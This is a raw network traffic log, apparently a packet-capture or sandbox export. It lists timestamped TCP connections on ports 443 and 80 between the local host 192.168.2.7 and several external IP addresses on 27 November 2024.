Nov 27, 2024 16:34:54.863188982 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.876466036 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.876498938 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.876955032 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.876959085 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.954375029 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.954447031 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.954508066 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.954857111 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.954874992 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.954889059 CET	49869	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.954894066 CET	443	49869	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.959294081 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.959326982 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:54.959489107 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.959794044 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:54.959810972 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.015115023 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.015158892 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.015291929 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.015665054 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.015711069 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.015784025 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.015918016 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.015961885 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.016014099 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016083002 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016091108 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.016258001 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016264915 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.016293049 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016319990 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016544104 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016581059 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.016644001 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016855001 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016875029 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.016976118 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.016992092 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.017107964 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.017118931 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.017214060 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.017224073 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.017393112 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.017405033 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.017642975 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:55.017653942 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:55.035200119 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.035445929 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.035542011 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.039134979 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.039158106 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.039169073 CET	49868	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.039175034 CET	443	49868	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.042102098 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.042133093 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.042299986 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.043684006 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.043719053 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.093274117 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.093923092 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.093945026 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.094425917 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.094440937 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.212969065 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.213042021 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.213097095 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.213342905 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.213361979 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.213375092 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.213380098 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.216481924 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.216535091 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.216631889 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.216815948 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.216833115 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.307262897 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.307364941 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.307424068 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.307679892 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.307698011 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.307740927 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.307748079 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.311525106 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.311578989 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.311672926 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.311912060 CET	49887	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.311918974 CET	443	49887	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.438740969 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:55.438776970 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:55.550847054 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.550930023 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.551172972 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.551567078 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.551593065 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.551611900 CET	49872	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.551620960 CET	443	49872	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.555223942 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.555260897 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.555349112 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.555593967 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:55.555613995 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:55.558824062 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:55.558839083 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:55.740390062 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.740747929 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.740787029 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.742666006 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.742788076 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.744366884 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.744467974 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.744863033 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.744873047 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.744935036 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.745023966 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:55.799438000 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:55.836256027 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:55.836639881 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:55.836663961 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:55.837932110 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:55.838007927 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:55.839463949 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:55.839543104 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:55.839910030 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:55.839921951 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:55.893135071 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:55.980155945 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:55.980680943 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:55.980711937 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:55.981823921 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:55.981918097 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.007704020 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.007819891 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:56.007987976 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.008002996 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:56.049335957 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.226505995 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.234711885 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.234755993 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.235790968 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.236330986 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.236354113 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.236943007 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.236952066 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.237102985 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.237117052 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.237591982 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.237659931 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.239149094 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.239243031 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.239629030 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.239638090 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.243513107 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:56.244321108 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:56.244508982 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:56.245028973 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:56.245028973 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:56.245047092 CET	443	49873	104.208.16.90	192.168.2.7
Nov 27, 2024 16:34:56.245163918 CET	49873	443	192.168.2.7	104.208.16.90
Nov 27, 2024 16:34:56.285334110 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.291932106 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.292222023 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.292391062 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.292403936 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.293375015 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.293536901 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.293606997 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.293811083 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.293837070 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.293911934 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.293920040 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.293936014 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.294298887 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.294374943 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.294658899 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.294682980 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.294883966 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.294891119 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.294898033 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.294954062 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.294981956 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.295038939 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.295556068 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.295613050 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.295806885 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.295914888 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.296014071 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.296112061 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.296622992 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.296683073 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.296696901 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.296705961 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.297103882 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.297111988 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.297219992 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.297233105 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.300406933 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:56.300479889 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:56.300815105 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:56.302792072 CET	49874	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:56.302812099 CET	443	49874	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:56.306875944 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:56.306904078 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:56.306982040 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:56.307329893 CET	49889	443	192.168.2.7	108.138.106.4
Nov 27, 2024 16:34:56.307343006 CET	443	49889	108.138.106.4	192.168.2.7
Nov 27, 2024 16:34:56.308960915 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.309302092 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.309320927 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.310389996 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.310472965 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.311794043 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.311887980 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.312151909 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.312159061 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.331116915 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.331535101 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.331558943 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.332789898 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.332859039 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.333235979 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.333317995 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.333513021 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.333523989 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.345696926 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.345696926 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.345727921 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.345727921 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.364937067 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.379933119 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.524549007 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:56.524990082 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:56.525170088 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.565656900 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:56.567183018 CET	49875	443	192.168.2.7	20.110.205.119
Nov 27, 2024 16:34:56.567215919 CET	443	49875	20.110.205.119	192.168.2.7
Nov 27, 2024 16:34:56.567239046 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:56.742512941 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.742880106 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.743005037 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.744024992 CET	49879	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.744043112 CET	443	49879	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.746764898 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.746794939 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.746859074 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.746859074 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.746932030 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.747764111 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.747808933 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.747865915 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.747872114 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.747951031 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.750781059 CET	49881	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.750802994 CET	443	49881	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.754422903 CET	49883	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.754446030 CET	443	49883	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.755064011 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.755096912 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.755175114 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.755215883 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.755220890 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.755306959 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.761913061 CET	49880	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.761936903 CET	443	49880	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790144920 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790182114 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790211916 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790230989 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790247917 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790288925 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.790872097 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.790904045 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.790972948 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.794985056 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.795017958 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.795095921 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.795123100 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.795181036 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.795492887 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.795572996 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.795633078 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.796125889 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:56.796144009 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.797784090 CET	49885	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:56.797789097 CET	443	49885	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.800162077 CET	49884	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.800179958 CET	443	49884	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.821873903 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.822037935 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.822319031 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.829837084 CET	49876	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.829860926 CET	443	49876	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.832564116 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.858314991 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.858366013 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.858445883 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.858697891 CET	49890	443	192.168.2.7	23.101.168.44
Nov 27, 2024 16:34:56.858709097 CET	443	49890	23.101.168.44	192.168.2.7
Nov 27, 2024 16:34:56.859240055 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:56.859251022 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.859730005 CET	49878	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:56.859735012 CET	443	49878	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:56.910671949 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.910713911 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.910758972 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.910797119 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.910818100 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.910845041 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.914027929 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.914050102 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.914098024 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.914148092 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.914181948 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.914192915 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.914895058 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.914907932 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.914911985 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.915096998 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.915122986 CET	443	49877	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:56.915178061 CET	49877	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:56.919198036 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.919306040 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.983345985 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.983370066 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.983489990 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:56.983550072 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:56.983695984 CET	49882	443	192.168.2.7	104.117.182.65
Nov 27, 2024 16:34:57.005937099 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:57.005994081 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:57.006078005 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:57.006297112 CET	49892	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:57.006311893 CET	443	49892	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:57.016092062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:57.071382999 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.072024107 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.072062016 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.072598934 CET	49886	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:57.072604895 CET	443	49886	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:57.084969044 CET	443	49882	104.117.182.65	192.168.2.7
Nov 27, 2024 16:34:57.084999084 CET	443	49882	104.117.182.65	192.168.2.7
